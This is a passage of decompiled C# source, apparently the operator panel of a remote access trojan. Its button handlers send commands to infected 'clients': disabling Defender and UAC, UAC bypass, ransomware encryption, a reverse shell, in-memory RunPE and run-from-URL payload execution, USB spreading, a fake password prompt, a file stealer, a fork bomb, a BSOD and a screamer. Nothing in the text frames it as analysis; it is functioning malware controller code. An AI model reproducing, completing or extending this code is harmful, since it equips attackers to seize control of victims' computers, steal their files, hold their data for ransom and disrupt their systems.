private void Misc_DisableDefender_Click(object sender, RoutedEventArgs e)
{
if (this.IsUser())
{
int num = (int) Messenger.MessageBox("You need administrator for this action", "Error", icon: MessageBoxIcon.Hand);
}
else
{
this.checkLogs();
this.Command("Defender");
}
}
private void Misc_EditHosts_Click(object sender, RoutedEventArgs e)
{
if (this.IsUser())
{
int num = (int) Messenger.MessageBox("You need administrator for this action", "Error", icon: MessageBoxIcon.Hand);
}
else
{
foreach (SillyClient selectedClient in this.GetSelectedClients())
{
string str = "Host | Client ID: ";
if ((ratonHosts) System.Windows.Forms.Application.OpenForms[str + selectedClient.uid] == null)
{
ratonHosts ratonHosts = new ratonHosts();
ratonHosts.Name = str + selectedClient.uid;
ratonHosts.Text = str + selectedClient.uid;
ratonHosts.SillyClient = selectedClient;
ratonHosts.Show();
Pack pack = new Pack();
pack.SetString("Packet", "Hosts");
pack.SetString("Content", "123ratonpro");
selectedClient.Send(pack.Pacc());
}
}
}
}
private void Misc_Exec_HTML_Click(object sender, RoutedEventArgs e)
{
foreach (SillyClient selectedClient in this.GetSelectedClients())
{
string str = "Execute code | Client ID: ";
if ((ratonExecuteCode) System.Windows.Forms.Application.OpenForms[str + selectedClient.uid] == null)
{
ratonExecuteCode ratonExecuteCode1 = new ratonExecuteCode();
ratonExecuteCode1.Name = str + selectedClient.uid;
ratonExecuteCode1.Text = str + selectedClient.uid;
ratonExecuteCode1.SillyClient = selectedClient;
ratonExecuteCode ratonExecuteCode2 = ratonExecuteCode1;
ratonExecuteCode2.flatComboBox1.Text = "Html";
ratonExecuteCode2.Show();
}
}
}
private void Misc_Exec_PS_Click(object sender, RoutedEventArgs e)
{
foreach (SillyClient selectedClient in this.GetSelectedClients())
{
string str = "Execute code | Client ID: ";
if ((ratonExecuteCode) System.Windows.Forms.Application.OpenForms[str + selectedClient.uid] == null)
{
ratonExecuteCode ratonExecuteCode1 = new ratonExecuteCode();
ratonExecuteCode1.Name = str + selectedClient.uid;
ratonExecuteCode1.Text = str + selectedClient.uid;
ratonExecuteCode1.SillyClient = selectedClient;
ratonExecuteCode ratonExecuteCode2 = ratonExecuteCode1;
ratonExecuteCode2.flatComboBox1.Text = "Powershell";
ratonExecuteCode2.Show();
}
}
}
private void Misc_Exec_BAT_Click(object sender, RoutedEventArgs e)
{
foreach (SillyClient selectedClient in this.GetSelectedClients())
{
string str = "Execute code | Client ID: ";
if ((ratonExecuteCode) System.Windows.Forms.Application.OpenForms[str + selectedClient.uid] == null)
{
ratonExecuteCode ratonExecuteCode1 = new ratonExecuteCode();
ratonExecuteCode1.Name = str + selectedClient.uid;
ratonExecuteCode1.Text = str + selectedClient.uid;
ratonExecuteCode1.SillyClient = selectedClient;
ratonExecuteCode ratonExecuteCode2 = ratonExecuteCode1;
ratonExecuteCode2.flatComboBox1.Text = "Batch";
ratonExecuteCode2.Show();
}
}
}
private void Misc_Exec_VBS_Click(object sender, RoutedEventArgs e)
{
foreach (SillyClient selectedClient in this.GetSelectedClients())
{
string str = "Execute code | Client ID: ";
if ((ratonExecuteCode) System.Windows.Forms.Application.OpenForms[str + selectedClient.uid] == null)
{
ratonExecuteCode ratonExecuteCode1 = new ratonExecuteCode();
ratonExecuteCode1.Name = str + selectedClient.uid;
ratonExecuteCode1.Text = str + selectedClient.uid;
ratonExecuteCode1.SillyClient = selectedClient;
ratonExecuteCode ratonExecuteCode2 = ratonExecuteCode1;
ratonExecuteCode2.flatComboBox1.Text = "VBS";
ratonExecuteCode2.Show();
}
}
}
private void Misc_FakePassword_Click(object sender, RoutedEventArgs e)
{
this.checkLogs();
this.Command("passprompt");
}
private void Misc_MessageBox_Click(object sender, RoutedEventArgs e)
{
foreach (SillyClient selectedClient in this.GetSelectedClients())
{
string str = "Message box | Client ID: ";
if ((ratonMessageBox) System.Windows.Forms.Application.OpenForms[str + selectedClient.uid] == null)
{
ratonMessageBox ratonMessageBox = new ratonMessageBox();
ratonMessageBox.Name = str + selectedClient.uid;
ratonMessageBox.Text = str + selectedClient.uid;
ratonMessageBox.SillyClient = selectedClient;
ratonMessageBox.Show();
}
}
}
private void Misc_Notification_Click(object sender, RoutedEventArgs e)
{
foreach (SillyClient selectedClient in this.GetSelectedClients())
{
string str = "Notification | Client ID: ";
if ((ratonNotify) System.Windows.Forms.Application.OpenForms[str + selectedClient.uid] == null)
{
ratonNotify ratonNotify = new ratonNotify();
ratonNotify.Name = str + selectedClient.uid;
ratonNotify.Text = str + selectedClient.uid;
ratonNotify.SillyClient = selectedClient;
ratonNotify.Show();
}
}
}
private void Misc_Notepad_Click(object sender, RoutedEventArgs e)
{
foreach (SillyClient selectedClient in this.GetSelectedClients())
{
string str = "Notepad | Client ID: ";
if ((ratonNotepad) System.Windows.Forms.Application.OpenForms[str + selectedClient.uid] == null)
{
ratonNotepad ratonNotepad = new ratonNotepad();
ratonNotepad.Name = str + selectedClient.uid;
ratonNotepad.Text = str + selectedClient.uid;
ratonNotepad.SillyClient = selectedClient;
ratonNotepad.Show();
}
}
}
private void Misc_Ransom_Encrypt_Click(object sender, RoutedEventArgs e)
{
foreach (SillyClient selectedClient in this.GetSelectedClients())
{
string str = "Ransomware | Client ID: ";
if ((ratonRansomware) System.Windows.Forms.Application.OpenForms[str + selectedClient.uid] == null)
{
ratonRansomware ratonRansomware = new ratonRansomware();
ratonRansomware.Name = str + selectedClient.uid;
ratonRansomware.Text = str + selectedClient.uid;
ratonRansomware.SillyClient = selectedClient;
ratonRansomware.Show();
}
}
}
private void Misc_Ransom_Decrypt_Click(object sender, RoutedEventArgs e)
{
using (inputDialog inputDialog = new inputDialog())
{
inputDialog.Text = "Ransomware password";
inputDialog.label1.Text = "Insert the valid password, or the files won't decrypt!";
if (inputDialog.ShowDialog() != System.Windows.Forms.DialogResult.OK)
return;
string text = inputDialog.textBox1.Text;
if (!string.IsNullOrEmpty(text))
{
foreach (SillyClient selectedClient in this.GetSelectedClients())
{
Pack pack = new Pack();
pack.SetString("Packet", "Decrypt");
pack.SetString("Password", text);
selectedClient.Send(pack.Pacc());
int num = (int) Messenger.MessageBox("Decryptor key request sent", "Decryptor", MessageBoxButtons.OK, MessageBoxIcon.Asterisk, true);
}
}
else
{
int num1 = (int) Messenger.MessageBox("You didn't enter a password", "Decryptor", icon: MessageBoxIcon.Hand);
}
}
}
private void Misc_Remote_Disk_Click(object sender, RoutedEventArgs e)
{
foreach (SillyClient selectedClient in this.GetSelectedClients())
{
string str = "Remote execute | Client ID: ";
if ((ratonUpload) System.Windows.Forms.Application.OpenForms[str + selectedClient.uid] == null)
{
ratonUpload ratonUpload = new ratonUpload();
ratonUpload.Name = str + selectedClient.uid;
ratonUpload.Text = str + selectedClient.uid;
ratonUpload.SillyClient = selectedClient;
ratonUpload.Show();
}
}
}
private void Misc_Remote_RunPE_Click(object sender, RoutedEventArgs e)
{
foreach (SillyClient selectedClient in this.GetSelectedClients())
{
string str = "RunPE | Client ID: ";
if ((ratonUpload) System.Windows.Forms.Application.OpenForms[str + selectedClient.uid] == null)
{
ratonUpload ratonUpload = new ratonUpload();
ratonUpload.Name = str + selectedClient.uid;
ratonUpload.Text = str + selectedClient.uid;
ratonUpload.SillyClient = selectedClient;
ratonUpload.inMemory = true;
ratonUpload.Show();
}
}
}
private void Misc_Remote_URL_Click(object sender, RoutedEventArgs e)
{
using (inputDialog inputDialog = new inputDialog())
{
inputDialog.Text = "Select your URL";
inputDialog.label1.Text = "Type your URL here (Remember, the direct download, not the host one";
if (inputDialog.ShowDialog() != System.Windows.Forms.DialogResult.OK)
return;
string text = inputDialog.textBox1.Text;
foreach (SillyClient selectedClient in this.GetSelectedClients())
{
string name = "Run from internet | Client ID: " + selectedClient.uid;
ratonUpload openForm = (ratonUpload) System.Windows.Forms.Application.OpenForms[name];
if (openForm == null)
{
ratonUpload ratonUpload = new ratonUpload();
ratonUpload.Name = name;
ratonUpload.Text = name;
ratonUpload.SillyClient = selectedClient;
ratonUpload.link = text;
ratonUpload.Show();
}
else
openForm.link = text;
}
}
}
private async void Misc_Remote_Friend_Click(object sender, RoutedEventArgs e)
{
using (selectFriend dialog = new selectFriend())
{
string path = System.IO.Path.Combine(Program.appData, "device.id");
dialog.deviceid = File.Exists(path) ? File.ReadAllText(path).Trim() : "";
dialog.user = this.user;
if (dialog.ShowDialog() != System.Windows.Forms.DialogResult.OK)
return;
string friendLinkByUsername = await BackendClient.GetFriendLinkByUsername(dialog.aeroListView1.SelectedItems[0].Text);
if (string.IsNullOrWhiteSpace(friendLinkByUsername) || !Uri.IsWellFormedUriString(friendLinkByUsername, UriKind.Absolute))
{
int num = (int) Messenger.MessageBox("The link is not valid or doesn't exist.", "Friend link error", icon: MessageBoxIcon.Exclamation);
return;
}
foreach (SillyClient selectedClient in this.GetSelectedClients())
{
string name = "Run from friend | Client ID: " + selectedClient.uid;
ratonUpload openForm = (ratonUpload) System.Windows.Forms.Application.OpenForms[name];
if (openForm == null)
{
ratonUpload ratonUpload = new ratonUpload();
ratonUpload.Name = name;
ratonUpload.Text = name;
ratonUpload.SillyClient = selectedClient;
ratonUpload.link = friendLinkByUsername;
ratonUpload.Show();
}
else
openForm.link = friendLinkByUsername;
}
}
}
private void Misc_Sleep_Enable_Click(object sender, RoutedEventArgs e)
{
this.checkLogs();
this.Command("Sleep");
}
private void Misc_Sleep_Disable_Click(object sender, RoutedEventArgs e)
{
this.checkLogs();
this.Command("NoSleep");
}
private void Misc_ProcessCritical_Click(object sender, RoutedEventArgs e)
{
if (this.IsUser())
{
int num = (int) Messenger.MessageBox("You need administrator for this action", "Error", icon: MessageBoxIcon.Hand);
}
else
this.Command("PC");
}
private void Misc_Proxy_Start_Click(object sender, RoutedEventArgs e)
{
using (proxyDialog proxyDialog = new proxyDialog())
{
if (proxyDialog.ShowDialog() != System.Windows.Forms.DialogResult.OK)
return;
foreach (SillyClient selectedClient in this.GetSelectedClients())
{
int int32 = Convert.ToInt32(proxyDialog.numericUpDown1.Value);
Pack pack = new Pack();
pack.SetString("Packet", "StartProxy");
pack.SetInt("Port", int32);
selectedClient.Send(pack.Pacc());
selectedClient.Send(pack.Pacc());
}
}
}
private void Misc_Proxy_Stop_Click(object sender, RoutedEventArgs e)
{
this.checkLogs();
this.Command("StopProxy");
}
private void Misc_ResetSurvival_Click(object sender, RoutedEventArgs e)
{
this.checkLogs();
this.Command("Survival");
}
private void Misc_TM_Enable_Click(object sender, RoutedEventArgs e)
{
if (this.IsUser())
{
int num = (int) Messenger.MessageBox("You need administrator for this action", "Error", icon: MessageBoxIcon.Hand);
}
else
this.Command("taskenable");
}
private void Misc_TM_Disable_Click(object sender, RoutedEventArgs e)
{
if (this.IsUser())
{
int num = (int) Messenger.MessageBox("You need administrator for this action", "Error", icon: MessageBoxIcon.Hand);
}
else
this.Command("taskdisable");
}
private void Misc_CMD_Enable_Click(object sender, RoutedEventArgs e)
{
if (this.IsUser())
{
int num = (int) Messenger.MessageBox("You need administrator for this action", "Error", icon: MessageBoxIcon.Hand);
}
else
this.Command("cmdenable");
}
private void Misc_CMD_Disable_Click(object sender, RoutedEventArgs e)
{
if (this.IsUser())
{
int num = (int) Messenger.MessageBox("You need administrator for this action", "Error", icon: MessageBoxIcon.Hand);
}
else
this.Command("cmddisable");
}
private void Misc_Reg_Enable_Click(object sender, RoutedEventArgs e)
{
if (this.IsUser())
{
int num = (int) Messenger.MessageBox("You need administrator for this action", "Error", icon: MessageBoxIcon.Hand);
}
else
this.Command("regenable");
}
private void Misc_Reg_Disable_Click(object sender, RoutedEventArgs e)
{
if (this.IsUser())
{
int num = (int) Messenger.MessageBox("You need administrator for this action", "Error", icon: MessageBoxIcon.Hand);
}
else
this.Command("regdisable");
}
private void Misc_ReverseShell_Click(object sender, RoutedEventArgs e)
{
this.Command("StartShell");
foreach (SillyClient selectedClient in this.GetSelectedClients())
{
string str = "Reverse shell | Client ID: ";
if ((ratonShell) System.Windows.Forms.Application.OpenForms[str + selectedClient.uid] == null)
{
ratonShell ratonShell = new ratonShell();
ratonShell.Name = str + selectedClient.uid;
ratonShell.Text = str + selectedClient.uid;
ratonShell.SillyClient = selectedClient;
ratonShell.Show();
}
}
}
private void Misc_Lock_Click(object sender, RoutedEventArgs e)
{
foreach (SillyClient selectedClient in this.GetSelectedClients())
{
string str = "Screenlocker | Client ID: ";
if ((ratonScreenLocker) System.Windows.Forms.Application.OpenForms[str + selectedClient.uid] == null)
{
ratonScreenLocker ratonScreenLocker = new ratonScreenLocker();
ratonScreenLocker.Name = str + selectedClient.uid;
ratonScreenLocker.Text = str + selectedClient.uid;
ratonScreenLocker.SillyClient = selectedClient;
ratonScreenLocker.Show();
}
}
}
private void Misc_Unlock_Click(object sender, RoutedEventArgs e) => this.Command("Unlock");
private void Misc_UAC_Bypass_Click(object sender, RoutedEventArgs e)
{
this.checkLogs();
this.Command("Bypass");
}
private void Misc_UAC_Disable_Click(object sender, RoutedEventArgs e)
{
if (this.IsUser())
{
int num = (int) Messenger.MessageBox("You need administrator for this action", "Error", icon: MessageBoxIcon.Hand);
}
else
{
this.checkLogs();
this.Command("DisableUAC");
}
}
private void Misc_UAC_Request_Click(object sender, RoutedEventArgs e) => this.Command("Request");
private void Misc_UAC_Force_Click(object sender, RoutedEventArgs e) => this.Command("Request2");
private void Misc_UAC_System_Click(object sender, RoutedEventArgs e)
{
if (this.IsUser())
{
int num = (int) Messenger.MessageBox("You need administrator for this action", "Error", icon: MessageBoxIcon.Hand);
}
else
{
this.Command("System");
this.checkLogs();
}
}
private void Misc_VisitURL_Click(object sender, RoutedEventArgs e)
{
foreach (SillyClient selectedClient in this.GetSelectedClients())
{
string str = "URL | Client ID: ";
if ((ratonURL) System.Windows.Forms.Application.OpenForms[str + selectedClient.uid] == null)
{
ratonURL ratonUrl = new ratonURL();
ratonUrl.Name = str + selectedClient.uid;
ratonUrl.Text = str + selectedClient.uid;
ratonUrl.SillyClient = selectedClient;
ratonUrl.Show();
}
}
}
private void Misc_USBSpread_Click(object sender, RoutedEventArgs e)
{
this.checkLogs();
this.Command("USB");
}
private void Client_Sleep_Click(object sender, RoutedEventArgs e)
{
this.Command("SleepMode");
this.NavLogs_Click(sender, (MouseButtonEventArgs) null);
}
private void Client_Logoff_Click(object sender, RoutedEventArgs e)
{
this.Command("LogOff");
this.NavLogs_Click(sender, (MouseButtonEventArgs) null);
}
private void Client_Restartt_Click(object sender, RoutedEventArgs e)
{
this.Command("Restart");
this.NavLogs_Click(sender, (MouseButtonEventArgs) null);
}
private void Client_Shutdown_Click(object sender, RoutedEventArgs e)
{
this.Command("Shutdown");
this.NavLogs_Click(sender, (MouseButtonEventArgs) null);
}
private void Client_Update_Click(object sender, RoutedEventArgs e)
{
foreach (SillyClient selectedClient in this.GetSelectedClients())
{
string str = "Update client | Client ID: ";
if (System.Windows.Forms.Application.OpenForms.OfType<ratonUpload>().FirstOrDefault<ratonUpload>() == null)
{
ratonUpload ratonUpload = new ratonUpload();
ratonUpload.Name = str + selectedClient.uid;
ratonUpload.Text = str + selectedClient.uid;
ratonUpload.SillyClient = selectedClient;
ratonUpload.isUpdate = true;
ratonUpload.Show();
}
}
}
private void Client_ShareHost_Click(object sender, RoutedEventArgs e)
{
foreach (SillyClient selectedClient in this.GetSelectedClients())
{
string str = "Share host | Client ID: ";
if (!(System.Windows.Forms.Application.OpenForms[str + selectedClient.uid] is shareHost openForm))
{
shareHost shareHost = new shareHost();
shareHost.Name = str + selectedClient.uid;
shareHost.Text = str + selectedClient.uid;
shareHost.SillyClient = selectedClient;
shareHost.Show();
}
else
openForm.Focus();
}
}
private void Client_TakeNotes_Click(object sender, RoutedEventArgs e)
{
foreach (SillyClient selectedClient in this.GetSelectedClients())
{
string str = "Notes | Client ID: ";
if (!(System.Windows.Forms.Application.OpenForms[str + selectedClient.uid] is Notes openForm))
{
Notes notes = new Notes();
notes.Name = str + selectedClient.uid;
notes.Text = str + selectedClient.uid;
notes.SillyClient = selectedClient;
notes.clientID = selectedClient.uid;
notes.Show();
}
else
openForm.Focus();
}
}
private void Clipboard_CopyIP_Click(object sender, RoutedEventArgs e)
{
this.NavLogs_Click(sender, (MouseButtonEventArgs) null);
IEnumerable<string> values = this.GetSelectedClients().Select<SillyClient, string>((Func<SillyClient, string>) (c => c.ClientModel.Client));
System.Windows.Clipboard.SetText(string.Join(Environment.NewLine, values));
this.AddLog((object) ("Copied " + string.Join(Environment.NewLine, values)));
}
private void Clipboard_CopyUID_Click(object sender, RoutedEventArgs e)
{
this.NavLogs_Click(sender, (MouseButtonEventArgs) null);
IEnumerable<string> values = this.GetSelectedClients().Select<SillyClient, string>((Func<SillyClient, string>) (c => c.uid));
System.Windows.Clipboard.SetText(string.Join(Environment.NewLine, values));
this.AddLog((object) ("Copied " + string.Join(Environment.NewLine, values)));
}
private void Clipboard_CopyPayload_Click(object sender, RoutedEventArgs e)
{
this.NavLogs_Click(sender, (MouseButtonEventArgs) null);
IEnumerable<string> values = this.GetSelectedClients().Select<SillyClient, string>((Func<SillyClient, string>) (c => c.ClientModel.Payload));
System.Windows.Clipboard.SetText(string.Join(Environment.NewLine, values));
this.AddLog((object) ("Copied " + string.Join(Environment.NewLine, values)));
}
private void Client_OpenFolder_Click(object sender, RoutedEventArgs e)
{
foreach (SillyClient selectedClient in this.GetSelectedClients())
{
string path = System.IO.Path.Combine(Program.ClientsFolder, selectedClient.uid);
if (Directory.Exists(path))
{
Process.Start(new ProcessStartInfo()
{
FileName = path,
UseShellExecute = true
});
}
else
{
int num = (int) Messenger.MessageBox("Client folder does not exist...");
}
}
}
private void BlockInput_Start_Click(object sender, RoutedEventArgs e)
{
this.checkLogs();
this.Command("BlockInput");
}
private void BlockInput_Stop_Click(object sender, RoutedEventArgs e)
{
this.checkLogs();
this.Command("UnblockInput");
}
private void BSOD_Click(object sender, RoutedEventArgs e)
{
this.checkLogs();
this.Command("BSOD");
}
private void ChangeIcons_Click(object sender, RoutedEventArgs e)
{
foreach (SillyClient selectedClient in this.GetSelectedClients())
{
Microsoft.Win32.OpenFileDialog openFileDialog = new Microsoft.Win32.OpenFileDialog();
openFileDialog.Title = "Select a icon";
openFileDialog.Filter = "Icon|*.ico";
bool? nullable = openFileDialog.ShowDialog();
bool flag = true;
if (nullable.GetValueOrDefault() == flag & nullable.HasValue)
{
try
{
string fileName = openFileDialog.FileName;
System.IO.Path.GetFileName(fileName);
string base64String = Convert.ToBase64String(File.ReadAllBytes(fileName));
Pack pack = new Pack();
pack.SetString("Packet", "ChangeIcons");
pack.SetString("Image", base64String);
selectedClient.Send(pack.Pacc());
int num = (int) Messenger.MessageBox("It should take a while to change the icons", "Information", MessageBoxButtons.OK, MessageBoxIcon.Asterisk, true);
}
catch (Exception ex)
{
int num = (int) Messenger.MessageBox(ex.Message, "Error", icon: MessageBoxIcon.Hand);
break;
}
}
}
}
private void ChangeVolume_Click(object sender, RoutedEventArgs e)
{
foreach (SillyClient selectedClient in this.GetSelectedClients())
{
string str = "Volume | Client ID: ";
if ((ratonVolume) System.Windows.Forms.Application.OpenForms[str + selectedClient.uid] == null)
{
ratonVolume ratonVolume = new ratonVolume();
ratonVolume.Name = str + selectedClient.uid;
ratonVolume.Text = str + selectedClient.uid;
ratonVolume.SillyClient = selectedClient;
ratonVolume.Show();
}
}
}
private void ChangeWallpaper_Click(object sender, RoutedEventArgs e)
{
foreach (SillyClient selectedClient in this.GetSelectedClients())
{
Microsoft.Win32.OpenFileDialog openFileDialog = new Microsoft.Win32.OpenFileDialog();
openFileDialog.Title = "Select a wallpaper";
openFileDialog.Filter = "Windows supported|*.jpg;*.jpeg;*.bmp";
bool? nullable = openFileDialog.ShowDialog();
bool flag = true;
if (nullable.GetValueOrDefault() == flag & nullable.HasValue)
{
try
{
string fileName = openFileDialog.FileName;
System.IO.Path.GetFileName(fileName);
string base64String = Convert.ToBase64String(File.ReadAllBytes(fileName));
Pack pack = new Pack();
pack.SetString("Packet", "Wallpaper");
pack.SetString("Image", base64String);
selectedClient.Send(pack.Pacc());
int num = (int) Messenger.MessageBox("Wallpaper sent to the client!", "Sent", MessageBoxButtons.OK, MessageBoxIcon.Asterisk, true);
}
catch (Exception ex)
{
int num = (int) Messenger.MessageBox(ex.Message, "Error", icon: MessageBoxIcon.Hand);
break;
}
}
}
}
private void ConsoleBeep_Click(object sender, RoutedEventArgs e)
{
this.Command("Beep");
int num = (int) Messenger.MessageBox("Beep beep", "Beep", MessageBoxButtons.OK, MessageBoxIcon.Asterisk, true);
}
private void Draw_Start_Click(object sender, RoutedEventArgs e)
{
foreach (SillyClient selectedClient in this.GetSelectedClients())
{
string str = "Draw | Client ID: ";
if ((ratonDrawing) System.Windows.Forms.Application.OpenForms[str + selectedClient.uid] == null)
{
ratonDrawing ratonDrawing = new ratonDrawing();
ratonDrawing.Name = str + selectedClient.uid;
ratonDrawing.Text = str + selectedClient.uid;
ratonDrawing.SillyClient = selectedClient;
ratonDrawing.Show();
}
}
}
private void Draw_Stop_Click(object sender, RoutedEventArgs e)
{
this.Command("DrawClose");
int num = (int) Messenger.MessageBox("The screen is clear now", "Draw", MessageBoxButtons.OK, MessageBoxIcon.Asterisk, true);
}
private void DisableWifi_Click(object sender, RoutedEventArgs e)
{
foreach (SillyClient selectedClient in this.GetSelectedClients())
{
Pack pack = new Pack();
pack.SetString("Packet", "CommandPrompt");
pack.SetString("Command", "netsh wlan disconnect");
selectedClient.Send(pack.Pacc());
int num = (int) Messenger.MessageBox("Wifi disconnect request sent", "Wifi", MessageBoxButtons.OK, MessageBoxIcon.Asterisk, true);
}
}
private void ForkBomb_Click(object sender, RoutedEventArgs e)
{
this.Command("Trollcmd");
int num = (int) Messenger.MessageBox("Forkbomb request sent", "Forkbomb", MessageBoxButtons.OK, MessageBoxIcon.Asterisk, true);
}
private void GDICat_Start_Click(object sender, RoutedEventArgs e)
{
this.checkLogs();
this.Command("Cat");
}
private void GDICat_Stop_Click(object sender, RoutedEventArgs e)
{
this.checkLogs();
this.Command("Uncat");
}
private void GDICustom_Start_Click(object sender, RoutedEventArgs e)
{
this.checkLogs();
foreach (SillyClient selectedClient in this.GetSelectedClients())
{
using (System.Windows.Forms.OpenFileDialog openFileDialog = new System.Windows.Forms.OpenFileDialog())
{
openFileDialog.Title = "Select a wallpaper";
openFileDialog.Filter = "Windows supported|*.png;*.jpg";
if (openFileDialog.ShowDialog() == System.Windows.Forms.DialogResult.OK)
{
try
{
string base64String = Convert.ToBase64String(File.ReadAllBytes(openFileDialog.FileName));
Pack pack = new Pack();
pack.SetString("Packet", "CustomGDI");
pack.SetString("Image", base64String);
selectedClient.Send(pack.Pacc());
int num = (int) Messenger.MessageBox("GDI effect sent to the client", "Sent", MessageBoxButtons.OK, MessageBoxIcon.Asterisk, true);
}
catch (Exception ex)
{
int num = (int) Messenger.MessageBox(ex.Message, "Error", icon: MessageBoxIcon.Hand);
break;
}
}
}
}
}
private void GDICustom_Stop_Click(object sender, RoutedEventArgs e)
{
this.checkLogs();
this.Command("unCustomGDI");
}
private void GDIDark_Start_Click(object sender, RoutedEventArgs e)
{
this.checkLogs();
this.Command("Dark");
}
private void GDIDark_Stop_Click(object sender, RoutedEventArgs e)
{
this.checkLogs();
this.Command("Undark");
}
private void GDIIconSpam_Start_Click(object sender, RoutedEventArgs e)
{
this.checkLogs();
this.Command("Icons");
}
private void GDIIconSpam_Stop_Click(object sender, RoutedEventArgs e)
{
this.checkLogs();
this.Command("StopIcons");
}
private void GDIMelt_Start_Click(object sender, RoutedEventArgs e)
{
this.checkLogs();
this.Command("Melt");
}
private void GDIMelt_Stop_Click(object sender, RoutedEventArgs e)
{
this.checkLogs();
this.Command("StopMelt");
}
private void GDILoop_Start_Click(object sender, RoutedEventArgs e)
{
this.checkLogs();
this.Command("LoopScreen");
}
private void GDILoop_Stop_Click(object sender, RoutedEventArgs e)
{
this.checkLogs();
this.Command("UnLoopScreen");
}
private void GDIInvert_Start_Click(object sender, RoutedEventArgs e)
{
this.checkLogs();
this.Command("RC");
}
private void GDIInvert_Stop_Click(object sender, RoutedEventArgs e)
{
this.checkLogs();
this.Command("URC");
}
private void Jigsaw_Click(object sender, RoutedEventArgs e)
{
foreach (SillyClient selectedClient in this.GetSelectedClients())
{
if (selectedClient == null)
break;
new askGame() { SillyClient = selectedClient }.Show();
}
}
private void PlaySound_Click(object sender, RoutedEventArgs e)
{
foreach (SillyClient selectedClient in this.GetSelectedClients())
{
string str = "Play audio | Client ID: ";
if ((ratonAudio) System.Windows.Forms.Application.OpenForms[str + selectedClient.uid] == null)
{
ratonAudio ratonAudio = new ratonAudio();
ratonAudio.Name = str + selectedClient.uid;
ratonAudio.Text = str + selectedClient.uid;
ratonAudio.SillyClient = selectedClient;
ratonAudio.Show();
}
}
}
private void MinimizeAll_Click(object sender, RoutedEventArgs e)
{
this.checkLogs();
this.Command("Minimize");
}
private void Screamer_Click(object sender, RoutedEventArgs e)
{
if (Messenger.MessageBox("DO NOT IGNORE THIS WARNING\nYou are about to run a screamer\nMake sure that the client does not have heart problems. Please don't be foolish and choose.\nDo you really want to continue?", "Warning", MessageBoxButtons.YesNo, MessageBoxIcon.Exclamation) != System.Windows.Forms.DialogResult.Yes)
return;
this.Command("Screamer");
}
private void TTS_Click(object sender, RoutedEventArgs e)
{
using (inputDialog inputDialog = new inputDialog())
{
inputDialog.Text = "Text to speech";
inputDialog.label1.Text = "Enter your dialog";
if (inputDialog.ShowDialog() != System.Windows.Forms.DialogResult.OK)
return;
string text = inputDialog.textBox1.Text;
foreach (SillyClient selectedClient in this.GetSelectedClients())
{
Pack pack = new Pack();
pack.SetString("Packet", "TTS");
pack.SetString("Text", text);
selectedClient.Send(pack.Pacc());
}
}
}
private void PeterAlert_Click(object sender, RoutedEventArgs e)
{
this.checkLogs();
this.Command("Peter");
}
private void EmptyScreen_Start_Click(object sender, RoutedEventArgs e)
{
this.checkLogs();
this.Command("Empty");
int num = (int) Messenger.MessageBox("Screen command request sent", "Screen", MessageBoxButtons.OK, MessageBoxIcon.Asterisk, true);
}
private void EmptyScreen_Stop_Click(object sender, RoutedEventArgs e)
{
this.checkLogs();
this.Command("StopEmpty");
int num = (int) Messenger.MessageBox("Screen command request sent", "Screen", MessageBoxButtons.OK, MessageBoxIcon.Asterisk, true);
}
private void ReverseScreen_Start_Click(object sender, RoutedEventArgs e)
{
this.checkLogs();
this.Command("Reverse");
int num = (int) Messenger.MessageBox("Screen command request sent", "Screen", MessageBoxButtons.OK, MessageBoxIcon.Asterisk, true);
}
private void ReverseScreen_Stop_Click(object sender, RoutedEventArgs e)
{
this.checkLogs();
this.Command("Normal");
int num = (int) Messenger.MessageBox("Screen command request sent", "Screen", MessageBoxButtons.OK, MessageBoxIcon.Asterisk, true);
}
private void HideMouse_Click(object sender, RoutedEventArgs e)
{
this.checkLogs();
this.Command("HideMouse");
}
private void TrapMouse_Start_Click(object sender, RoutedEventArgs e)
{
this.Command("TrapMouse");
int num = (int) Messenger.MessageBox("Mouse command request sent", "Mouse", MessageBoxButtons.OK, MessageBoxIcon.Asterisk, true);
}
private void TrapMouse_Stop_Click(object sender, RoutedEventArgs e)
{
this.Command("UntrapMouse");
int num = (int) Messenger.MessageBox("Mouse command request sent", "Mouse", MessageBoxButtons.OK, MessageBoxIcon.Asterisk, true);
}
private void ShakeMouse_Click(object sender, RoutedEventArgs e)
{
this.Command("ShakeMouse");
int num = (int) Messenger.MessageBox("Mouse command request sent", "Mouse", MessageBoxButtons.OK, MessageBoxIcon.Asterisk, true);
}
private void ShakeMouse_stop_Click(object sender, RoutedEventArgs e)
{
this.Command("ShakeMouseStop");
int num = (int) Messenger.MessageBox("Mouse command request sent", "Mouse", MessageBoxButtons.OK, MessageBoxIcon.Asterisk, true);
}
private void SwitchMouse_Click(object sender, RoutedEventArgs e)
{
this.Command("Switch");
int num = (int) Messenger.MessageBox("Mouse command request sent", "Mouse", MessageBoxButtons.OK, MessageBoxIcon.Asterisk, true);
}
private void CapsLock_Click(object sender, RoutedEventArgs e)
{
this.checkLogs();
this.Command("Caps");
}
private void ToggleMic_Click(object sender, RoutedEventArgs e)
{
this.checkLogs();
this.Command("MicToggle");
}
private void ToggleMute_Click(object sender, RoutedEventArgs e)
{
this.checkLogs();
this.Command("Mute");
}
private void BotKiller_Click(object s, RoutedEventArgs e)
{
this.Command("BotKiller");
this.checkLogs();
}
private void FileStealer_Click(object s, RoutedEventArgs e)
{
using (inputDialog inputDialog = new inputDialog())
{
inputDialog.Text = "File search";
inputDialog.label1.Text = "Enter the file extension";
if (inputDialog.ShowDialog() != System.Windows.Forms.DialogResult.OK)
return;
string str1 = inputDialog.textBox1.Text.Trim();
if (!str1.StartsWith("."))
str1 = "." + str1;
if (!MainWindow.validExtensions.Contains(str1))
{
int num = (int) Messenger.MessageBox("Invalid extension (Not supported)", "Error", MessageBoxButtons.OK, MessageBoxIcon.Asterisk, true);
}
else
{
foreach (SillyClient selectedClient in this.GetSelectedClients())
{
Pack pack = new Pack();
pack.SetString("Packet", "FileSearch");
pack.SetString("Extension", str1);
selectedClient.Send(pack.Pacc());
string str2 = "File stealer | Client ID: ";
if ((ratonFileEx) System.Windows.Forms.Application.OpenForms[str2 + selectedClient.uid] == null)
{
ratonFileEx ratonFileEx = new ratonFileEx();
ratonFileEx.Name = str2 + selectedClient.uid;
ratonFileEx.Text = str2 + selectedClient.uid;
ratonFileEx.SillyClient = selectedClient;
ratonFileEx.Show();
}
}
}
}
}
private void Clipboard_Click(object s, RoutedEventArgs e)
{
foreach (SillyClient selectedClient in this.GetSelectedClients())
{
string str = "Clipboard | Client ID: ";
if ((ratonClipboard) System.Windows.Forms.Application.OpenForms[str + selectedClient.uid] == null)
{
